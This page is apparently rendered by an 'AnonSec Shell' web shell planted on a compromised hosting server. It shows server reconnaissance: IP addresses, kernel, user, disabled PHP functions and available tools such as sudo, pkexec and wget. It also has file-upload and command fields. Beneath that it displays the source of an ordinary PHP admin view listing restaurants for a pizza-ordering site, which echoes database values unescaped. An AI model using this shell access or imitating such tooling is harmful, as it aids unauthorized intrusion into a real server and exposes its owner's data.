AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.139
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_projetos/sopizzas/application/views/superadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_projetos/sopizzas/application/views/superadmin/restaurant_list_ajax.php
<?php
  $myArray = $this->session->userdata('logged_in');
  $designation = $myArray['designation'];
?>
<table class="table no-margin table-hover">
	<thead>
    <tr class="label-info labelinfo1">
      
      <th class="text-center"><?php echo $this->lang->line('SNo');?></th>
      <th class="text-center"><?php echo $this->lang->line('ID');?><span class="shorting-action">
                      <!-- <i class="fa fa-sort-asc" aria-hidden="true"></i>
                      <i class="fa fa-sort-desc" aria-hidden="true"></i> -->
                    </span></th>
      <th class="text-center"><?php echo $this->lang->line('Name');?>
                    <span class="shorting-action">
                     <!--  <i class="fa fa-sort-asc" aria-hidden="true"></i>
                      <i class="fa fa-sort-desc" aria-hidden="true"></i> -->
                    </span></th>
      <th class="text-center"><?php echo $this->lang->line('Phone');?></th>
      <th class="text-center"><?php echo $this->lang->line('StateName');?><span class="shorting-action">
                      <!-- <i class="fa fa-sort-asc" aria-hidden="true"></i>
                      <i class="fa fa-sort-desc" aria-hidden="true"></i> -->
                    </span></th>
      <th class="text-center"><?php echo $this->lang->line('CityName');?><span class="shorting-action">
                     <!--  <i class="fa fa-sort-asc" aria-hidden="true"></i>
                      <i class="fa fa-sort-desc" aria-hidden="true"></i> -->
                    </span></th>
      
      <th class="text-center"><?php echo $this->lang->line('Date');?></th>
      <th class="text-center"><?php echo $this->lang->line('Popular');?></th>
      <th class="text-center"><?php echo $this->lang->line('Top');?></th>
      <th class="text-center"><?php echo $this->lang->line('AgreementStatus');?></th>
      <th class="text-center"><?php echo $this->lang->line('Status');?></th>
      <th class="text-center"><?php echo $this->lang->line('Options');?></th>
      <th class="text-center"><?php echo $this->lang->line('Action');?></th>
    </tr>
  </thead>
    <tbody>
      <?php if(is_array($RestauratList) && sizeof($RestauratList)>0){ 
            foreach ($RestauratList as $key => $value) {
        ?>
     <tr id="<?=$value['restaurant_id'];?>_row">
       
        <?php
          if (isset($perPageCount) && $perPageCount != '') {
        ?>
        <td class="text-center paddingtop13"><?=$perPageCount+1?></td>
        <?php
            $perPageCount++;
          }
          else {
        ?>
        <td class="text-center paddingtop13"><?=$key+1?></td>
        <?php
          }
        ?>
       <td class="paddtop13 text-center"><?=$value['restaurant_id']?></td>
       <td class="paddtop13 text-center"><?=$value['restaurant_name']?></td>
       <td class="paddtop13 text-center"><?=$value['restaurant_phone']?></td>
       <td class="paddtop13 text-center"><?=$value['restaurant_state']?></td>
       <td class="paddtop13 text-center"><?=$value['restaurant_city']?></td>
       <td class="paddtop13 text-center"><?=date("M j, Y", strtotime($value['addeddate']));?></td>
       <td class="paddtop13 text-center">
         <i data-status="<?=$value['restaurant_feature_status']?>" class="<?=$value['restaurant_feature_status']=='Yes'?'fa fa-star':'fa fa-star-o'?>" onclick="changeRestFeature('<?=$value['restaurant_id']?>', this)" title="Popular Restaurant" style="cursor:pointer;"></i>
       </td>
       <td class="paddtop13 text-center">
         <i data-status="<?=$value['restaurant_footer_status']?>" class="<?=$value['restaurant_footer_status']=='Yes'?'fa fa-star':'fa fa-star-o'?>" onclick="changeRestFooter('<?=$value['restaurant_id']?>', this)" title="Top Restaurant" style="cursor:pointer;"></i>
       </td>
       <td class="paddtop13 text-center">
         <?php
          if ($value['agreement_status'] == 0) {
            echo '<span style="color: red;">'.$this->lang->line('Pending').'</span>';
          }
          else {
            echo '<span style="color: green; cursor: pointer;" onclick="previewAgreement('.$value['restaurant_id'].')">'.$this->lang->line('Accepted').' ('.date("m/d/Y", strtotime($value['agreement_date'])).')</span>';
          }
         ?>
       </td>
       <td class="paddtop13 text-center" style="width: 165px;">
         <div class="btn-group btn-group-circle mrtc">
          <button onclick="ChangeActiveInactive('rt_restaurant','1','<?=$value['restaurant_id']?>', this);" type="button" class="newsolidbtn1 btn btn-outline green btn-sm <?=$value['restaurant_status']=='1'?'active':''?>"><?php echo $this->lang->line('Active');?></button>
          <button onclick="ChangeActiveInactive('rt_restaurant','0','<?=$value['restaurant_id']?>', this);" type="button" class="newsolidbtn1 btn btn-outline red btn-sm <?=$value['restaurant_status']=='0'?'active':''?>"><?php echo $this->lang->line('Inactive');?></button>
        </div>
       </td>
       <td class="paddtop13 text-center">
         <a href="<?php echo base_url(); ?>superadmin/addnewrestaurant/<?=$value['restaurant_id']?>"><?php echo $this->lang->line('Details');?></a>&nbsp;|
         <?php
          if ($designation == 'superadmin') {
         ?>
         <a href="<?php echo base_url(); ?>addnewrestaurant/restaurant_invoice/<?=$value['restaurant_id']?>"><?php echo $this->lang->line('Invoice');?></a>&nbsp;|
         <?php
          }
         ?>
         <!-- <a href="payment-method.html">Payment Method</a> |&nbsp;  -->
        <!--  <a href="restaurant-invoice.html">Invoice</a> |&nbsp; -->
<a href="<?php echo base_url(); ?>superadmin/restaurantviewpage/<?=$value['restaurant_seourl']?>"  target="_blank"><?php echo $this->lang->line('Preview');?></a>
       </td>
       <td class="paddtop13 text-center">
         <span class="newsolidbtn1 btn btn-outline green btn-sm opo addressEdit opened btn-circle" onclick="window.location.href='<?php echo base_url(); ?>superadmin/addnewrestaurant/<?=$value['restaurant_id']?>';"><i class="fa fa-pencil" aria-hidden="true"></i> <?php echo $this->lang->line('Edit');?></span>
         <span onclick="DeleteNow('rt_restaurant','<?=$value['restaurant_id']?>');" class="newsolidbtn1 btn btn-outline red btn-sm opo btn-circle ml11" style="margin-top: 10px;"><i class="fa fa-trash-o" aria-hidden="true"></i> <?php echo $this->lang->line('Delete');?></span>
       </td>
     </tr>

     <?php }  }?>
     
     

   </tbody>
</table>
<div class="margintop20 col-md-6">
    
  </div>
<div class="col-md-12 margintop20 margintop14">
     <?php echo $this->ajax_pagination->create_links(); ?>
</div>

Anon7 - 2022
AnonSec Team